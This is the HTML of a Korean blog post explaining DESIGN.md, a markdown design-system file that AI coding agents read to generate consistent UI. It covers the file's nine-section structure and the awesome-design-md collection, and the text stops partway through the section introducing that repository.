&lt;ol style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;decimal&quot;&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section1&quot;&gt;DESIGN.md란 무엇인가 &amp;mdash; README.md와 무엇이 다른가&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section2&quot;&gt;왜 DESIGN.md가 필요한가 &amp;mdash; AI UI의 랜덤성 문제&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section3&quot;&gt;DESIGN.md 포맷 상세 &amp;mdash; 9개 섹션 구조&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section4&quot;&gt;awesome-design-md 레포지토리 소개&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section5&quot;&gt;DESIGN.md 접근 방법 &amp;mdash; getdesign.md 서비스&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section6&quot;&gt;주요 컬렉션 예시 분석 &amp;mdash; Stripe, Vercel, Linear&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section7&quot;&gt;실전 활용법 &amp;mdash; 프로젝트에 적용하기&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section8&quot;&gt;기술 아키텍처 분석 &amp;mdash; DESIGN.md가 LLM에 최적화된 이유&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 6px;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section9&quot;&gt;제한사항 및 주의사항&lt;/a&gt;&lt;/li&gt;
&lt;li style=&quot;margin-bottom: 0;&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;#section10&quot;&gt;결론 &amp;mdash; LLM 시대 디자인 시스템 표준화 방향&lt;/a&gt;&lt;/li&gt;
&lt;/ol&gt;
&lt;/div&gt;
&lt;!-- 요약 콜아웃 --&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0 0 8px 0; font-weight: bold;&quot; data-ke-size=&quot;size16&quot;&gt;이 글의 핵심&lt;/p&gt;
&lt;ul style=&quot;margin: 0; padding-left: 20px;&quot; data-ke-list-type=&quot;disc&quot;&gt;
&lt;li&gt;DESIGN.md는 Google Stitch가 도입한 AI 에이전트용 플레인텍스트 디자인 시스템 문서다&lt;/li&gt;
&lt;li&gt;9개 섹션으로 컬러&amp;middot;타이포&amp;middot;컴포넌트&amp;middot;레이아웃&amp;middot;프롬프트 가이드를 명세한다&lt;/li&gt;
&lt;li&gt;VoltAgent의 awesome-design-md 컬렉션에 69개 브랜드 DESIGN.md가 MIT 라이선스로 제공된다 (getdesign.md 서비스 통해 배포)&lt;/li&gt;
&lt;li&gt;공개 CSS 추출 기반이므로 공식 디자인 토큰과 동일하다고 보장되지 않는다&lt;/li&gt;
&lt;/ul&gt;
&lt;/div&gt;
&lt;!-- 섹션 1 --&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h2 id=&quot;section1&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;1. DESIGN.md란 무엇인가 &amp;mdash; README.md와 무엇이 다른가&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;1.1 개념 정의&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1974&quot; data-origin-height=&quot;1098&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/b8gHUg/dJMcacv6Onq/4pVYl0A4oJgxTdPVOwXybk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/b8gHUg/dJMcacv6Onq/4pVYl0A4oJgxTdPVOwXybk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/b8gHUg/dJMcacv6Onq/4pVYl0A4oJgxTdPVOwXybk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fb8gHUg%2FdJMcacv6Onq%2F4pVYl0A4oJgxTdPVOwXybk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1974&quot; height=&quot;1098&quot; data-origin-width=&quot;1974&quot; data-origin-height=&quot;1098&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;DESIGN.md는 Google Stitch가 도입한 새로운 개념으로, AI 에이전트가 일관된 UI를 생성하기 위해 읽는 플레인텍스트 디자인 시스템 문서다. &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/VoltAgent/awesome-design-md/blob/main/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;awesome-design-md README&lt;/a&gt;는 이를 다음과 같이 정의한다.&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0; font-style: italic;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;DESIGN.md is a new concept introduced by Google Stitch. A plain-text design system document that AI agents read to generate consistent UI.&quot;&lt;br /&gt;(DESIGN.md는&amp;nbsp;Google&amp;nbsp;Stitch에서&amp;nbsp;도입한&amp;nbsp;새로운&amp;nbsp;개념으로,&amp;nbsp;AI&amp;nbsp;에이전트가&amp;nbsp;이를&amp;nbsp;읽어&amp;nbsp;일관된&amp;nbsp;사용자&amp;nbsp;인터페이스(UI)를&amp;nbsp;생성할&amp;nbsp;수&amp;nbsp;있도록&amp;nbsp;만든&amp;nbsp;순수&amp;nbsp;텍스트&amp;nbsp;기반의&amp;nbsp;디자인&amp;nbsp;시스템&amp;nbsp;문서입니다.)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;핵심은 단순함이다 &amp;mdash; Figma 익스포트도, JSON 스키마도, 특수 툴링도 필요 없다. 마크다운 파일 한 장을 프로젝트 루트에 넣으면, AI 코딩 에이전트나 Google Stitch가 즉시 UI 외관을 이해할 수 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&quot;Markdown is the format LLMs read best, so there's nothing to parse or configure&quot;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;(Markdown은 LLM(Large Language Model)이 가장 잘 읽고 이해할 수 있는 포맷이므로, 추가적인 파싱 과정이나 별도의 설정 없이 바로 사용할 수 있습니다.)라는 것이 채택 근거이다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;1.2 파일 역할 분리 &amp;mdash; AGENTS.md vs DESIGN.md&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;프로젝트에는 이미 README.md와 AGENTS.md가 있다. DESIGN.md는 이 체계에 세 번째 레이어를 추가한다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1930&quot; data-origin-height=&quot;1018&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/EjDx0/dJMcaipxFLG/zFku3KnqdmUMqbDThfTbb1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/EjDx0/dJMcaipxFLG/zFku3KnqdmUMqbDThfTbb1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/EjDx0/dJMcaipxFLG/zFku3KnqdmUMqbDThfTbb1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FEjDx0%2FdJMcaipxFLG%2FzFku3KnqdmUMqbDThfTbb1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1930&quot; height=&quot;1018&quot; data-origin-width=&quot;1930&quot; data-origin-height=&quot;1018&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;awesome-design-md README가 제시한 역할 비교표는 다음과 같다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;파일&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;누가 읽는가&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;무엇을 정의하는가&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code&gt;AGENTS.md&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;코딩 에이전트&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;프로젝트 빌드 방법&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;&lt;code&gt;DESIGN.md&lt;/code&gt;&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;디자인 에이전트&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;프로젝트의 외관과 느낌&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;font-size: 13px; color: #666; margin-top: -5px;&quot; data-ke-size=&quot;size16&quot;&gt;출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/VoltAgent/awesome-design-md/blob/main/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;awesome-design-md README&lt;/a&gt;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;한 줄로 요약하면: AGENTS.md가 &quot;어떻게 만드는가&quot;를 정의한다면, DESIGN.md는 &quot;어떻게 보여야 하는가&quot;를 정의한다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 2 --&gt;
&lt;h2 id=&quot;section2&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;2. 왜 DESIGN.md가 필요한가 &amp;mdash; AI UI의 랜덤성 문제&lt;/b&gt;&lt;/h2&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;AI 코딩 에이전트에게 UI 컴포넌트 생성을 요청할 때, 에이전트가 참조할 디자인 명세가 없으면 출력이 매번 달라진다. 컬러, 폰트, 여백, 그림자 &amp;mdash; 모든 요소가 에이전트의 추측에 맡겨진다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;2020&quot; data-origin-height=&quot;1102&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/MMjvZ/dJMcafsNwGU/mRKkf4k0FnArc377OpKLm0/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/MMjvZ/dJMcafsNwGU/mRKkf4k0FnArc377OpKLm0/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/MMjvZ/dJMcafsNwGU/mRKkf4k0FnArc377OpKLm0/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FMMjvZ%2FdJMcafsNwGU%2FmRKkf4k0FnArc377OpKLm0%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;2020&quot; height=&quot;1102&quot; data-origin-width=&quot;2020&quot; data-origin-height=&quot;1102&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;DESIGN.md는 이 문제를 텍스트 명세(specification)로 해결한다. awesome-design-md README가 직접 명시하듯, DESIGN.md를 프로젝트 루트에 두면 &quot;AI 코딩 에이전트나 Google Stitch가 즉시 UI 외관을 이해&quot;한다. 에이전트가 파일을 컨텍스트로 읽고 디자인 결정을 따르므로, 임의의 추측이 개입할 여지가 줄어든다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1958&quot; data-origin-height=&quot;1050&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bgvpDq/dJMcahKWyG6/VrpR8TcKtnSwkokZP83PL1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bgvpDq/dJMcahKWyG6/VrpR8TcKtnSwkokZP83PL1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bgvpDq/dJMcahKWyG6/VrpR8TcKtnSwkokZP83PL1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbgvpDq%2FdJMcahKWyG6%2FVrpR8TcKtnSwkokZP83PL1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1958&quot; height=&quot;1050&quot; data-origin-width=&quot;1958&quot; data-origin-height=&quot;1050&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;stitch-skills의 공식 design-md 스킬은 이를 한 단계 더 구체화한다. DESIGN.md 파일이 &quot;기존 디자인 언어와 완벽하게 일치하는 새 화면을 생성하도록 프롬프팅하는 단일 진실의 원천(source of truth)&quot;이 된다는 것이 스킬의 공식 목표로 보인다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 3 --&gt;
&lt;h2 id=&quot;section3&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;3. DESIGN.md 포맷 상세 &amp;mdash; 9개 섹션 구조&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3.1 섹션 구조 &amp;mdash; awesome-design-md 기준 9개 섹션&lt;/h3&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1996&quot; data-origin-height=&quot;1092&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Cv8QB/dJMcabjFRtH/0RXaieO4541HhkzeHLQuKk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Cv8QB/dJMcabjFRtH/0RXaieO4541HhkzeHLQuKk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Cv8QB/dJMcabjFRtH/0RXaieO4541HhkzeHLQuKk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FCv8QB%2FdJMcabjFRtH%2F0RXaieO4541HhkzeHLQuKk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1996&quot; height=&quot;1092&quot; data-origin-width=&quot;1996&quot; data-origin-height=&quot;1092&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p data-ke-size=&quot;size16&quot;&gt;VoltAgent의 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/VoltAgent/awesome-design-md/blob/main/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;awesome-design-md README&lt;/a&gt;가 정의하는 DESIGN.md 포맷은 9개 섹션으로 구성된다. 아래는 README 원문에서 직접 인용한 전체 목록이다.&lt;/p&gt;
&lt;table style=&quot;width: 100%; border-collapse: collapse; margin: 15px 0; font-size: 15px;&quot; data-ke-align=&quot;alignLeft&quot;&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;#&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;섹션명&lt;/th&gt;
&lt;th style=&quot;background-color: #e8f4f8; border: 1px solid #b3d9ff; padding: 10px; text-align: left; font-weight: 600;&quot;&gt;담는 내용&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;1&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Visual Theme &amp;amp; Atmosphere&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;분위기, 밀도, 디자인 철학&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;2&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Color Palette &amp;amp; Roles&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;시맨틱 이름 + hex + 기능적 역할&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;3&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Typography Rules&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;폰트 패밀리, 전체 계층 표&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;4&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Component Stylings&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;버튼, 카드, 입력, 네비게이션(상태 포함)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;5&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Layout Principles&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;간격 스케일, 그리드, 여백 철학&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;6&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Depth &amp;amp; Elevation&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;그림자 시스템, 표면 계층&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;7&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Do's and Don'ts&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;디자인 가드레일과 안티패턴&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;8&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Responsive Behavior&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;브레이크포인트, 터치 타겟, 접기 전략&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;9&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;Agent Prompt Guide&lt;/td&gt;
&lt;td style=&quot;border: 1px solid #b3d9ff; padding: 8px;&quot;&gt;빠른 컬러 레퍼런스, 즉시 사용 가능한 프롬프트&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p style=&quot;font-size: 13px; color: #666; margin-top: -5px;&quot; data-ke-size=&quot;size16&quot;&gt;출처: &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/VoltAgent/awesome-design-md/blob/main/README.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;awesome-design-md README&lt;/a&gt;&lt;/p&gt;
&lt;div style=&quot;background-color: #fff3cd; border-left: 4px solid #ffc107; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;위 9개 섹션은 VoltAgent의 awesome-design-md 컬렉션이 정의한 확장 구조다.&lt;/p&gt;
&lt;figure class=&quot;imageblock alignLeft&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1992&quot; data-origin-height=&quot;1062&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bxqhGb/dJMcabKKBTo/WbGlHjlKDD4v9CNY0Pg2Kk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bxqhGb/dJMcabKKBTo/WbGlHjlKDD4v9CNY0Pg2Kk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bxqhGb/dJMcabKKBTo/WbGlHjlKDD4v9CNY0Pg2Kk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbxqhGb%2FdJMcabKKBTo%2FWbGlHjlKDD4v9CNY0Pg2Kk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1992&quot; height=&quot;1062&quot; data-origin-width=&quot;1992&quot; data-origin-height=&quot;1062&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;

&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;Google Stitch 공식 &lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/google-labs-code/stitch-skills/blob/main/skills/design-md/SKILL.md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;design-md SKILL.md&lt;/a&gt;의 Output Format에는 1~5번 섹션(Visual Theme &amp;amp; Atmosphere ~ Layout Principles)만 명시되어 있다. 6번(Depth &amp;amp; Elevation)부터 9번(Agent Prompt Guide)은 VoltAgent가 실제 컬렉션 파일 분석을 통해 추가한 항목이다.&lt;/p&gt;
&lt;p style=&quot;margin: 0;&quot; data-ke-size=&quot;size16&quot;&gt;9개 전체를 Google 공식 포맷과 동일시하지 않도록 주의가 필요하다.&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;3.2 섹션 9 &amp;mdash; Agent Prompt Guide의 역할&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;9번 섹션 &quot;Agent Prompt Guide&quot;가 이 포맷의 핵심이다. 단순한 토큰 명세를 넘어, AI에게 즉시 전달할 수 있는 프롬프트 예시를 직접 포함한다. Stripe DESIGN.md의 Agent Prompt Guide는 Quick Color Reference와 컴포넌트별 예시 프롬프트를 담고 있다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;예를 들어:&lt;/p&gt;
&lt;div style=&quot;background-color: #e8f4f8; border-left: 4px solid #0066cc; padding: 15px; margin: 20px 0; border-radius: 0 8px 8px 0;&quot;&gt;
&lt;p style=&quot;margin: 0; font-style: italic;&quot; data-ke-size=&quot;size16&quot;&gt;&quot;Create a hero section on white background. Headline at 48px sohne-var weight 300, line-height 1.15, letter-spacing -0.96px, color #061b31...&quot;&lt;br /&gt;(화이트 배경의 히어로 섹션을 구성합니다. 헤드라인은 sohne-var 폰트를 사용하고, weight 300, 크기 48px, line-height 1.15, letter-spacing -0.96px, 색상은 #061b31로 설정합니다...)&lt;/p&gt;
&lt;/div&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;결국 DESIGN.md는 사람이 읽는 스타일 가이드가 아니라, AI가 직접 소비하는 프롬프트 라이브러리다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;!-- 섹션 4 --&gt;
&lt;h2 id=&quot;section4&quot; style=&quot;font-size: 24px; color: #1a3a52; margin: 35px 0 20px; padding-bottom: 10px; border-bottom: 3px solid #cce5ff; font-weight: bold;&quot; data-ke-size=&quot;size26&quot;&gt;&lt;b&gt;4. awesome-design-md 레포지토리 소개&lt;/b&gt;&lt;/h2&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4.1 레포지토리 개요&lt;/h3&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&lt;a style=&quot;color: #0066cc; text-decoration: none;&quot; href=&quot;https://github.com/VoltAgent/awesome-design-md&quot; target=&quot;_blank&quot; rel=&quot;noopener&quot;&gt;awesome-design-md&lt;/a&gt;는 VoltAgent가 관리하는 큐레이션 컬렉션으로, MIT 라이선스로 배포된다.&lt;/p&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;/p&gt;
&lt;h3 style=&quot;font-size: 20px; color: #1a3a52; margin: 25px 0 15px; font-weight: 600;&quot; data-ke-size=&quot;size23&quot;&gt;4.2 9개 카테고리 구성&lt;/h3&gt;
